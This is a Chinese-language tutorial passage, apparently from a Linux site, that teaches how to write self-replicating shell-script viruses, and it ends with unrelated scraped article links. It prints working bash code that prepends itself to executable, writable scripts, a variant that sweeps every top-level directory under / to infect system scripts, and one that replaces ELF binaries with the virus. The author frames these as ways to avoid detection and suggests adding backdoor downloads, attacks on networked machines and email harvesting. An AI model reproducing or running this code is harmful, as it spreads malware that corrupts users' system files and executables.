ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
#infection
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s echo $file > /dev/nul ; then
head -n 1 $file >.mm
if grep -s infection .mm > /dev/nul ; then
rm .mm -f ; else
cat $file > .SAVEE
head -n 13 $0 > $file
cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:)
#infection
xtemp=$pwd <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do <-遍历/目录
if test -d $dir ; then <-如果是目录就cd该目录
cd $dir
for file in * ; do <-遍历该目录文件
if test -f $file && test -x $file && test -w $file ; then <-确定文件是否可执行,可写
if grep -s echo $file > /dev/nul ; then <-确定是否为脚本程序
head -n 1 $file > .mm
if grep -s infection .mm > /dev/nul ; then <-确定是否已经被感染
rm .mm -f ; else
cat $file > /.SAVEE <-和前面的感染机制一样感染未被感染的脚本程序
cat /.test > $file
cat /.SAVEE >> $file
fi; fi; fi
done
cd ..
fi
done
cd $xtemp <-返回原目录
rm /.test /.SAVEE .mm -f
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,但也比较实用,还是值得去说明一下的,呵呵.同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧。
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if file $file | grep -s 'ELF' > /dev/nul ; then
mv $file .$file
head -n 9 $0 > $file
fi; fi
done
.$0

Linux发行版BackTrack
Ubuntu 8.10下安装设
谷歌针对Android系统
Ubuntu 8.10下Firesta
远离病毒木马使用正版
遭遇电脑黑屏别惊慌 L
三款面向Linux平台的
有趣的通过网页远程控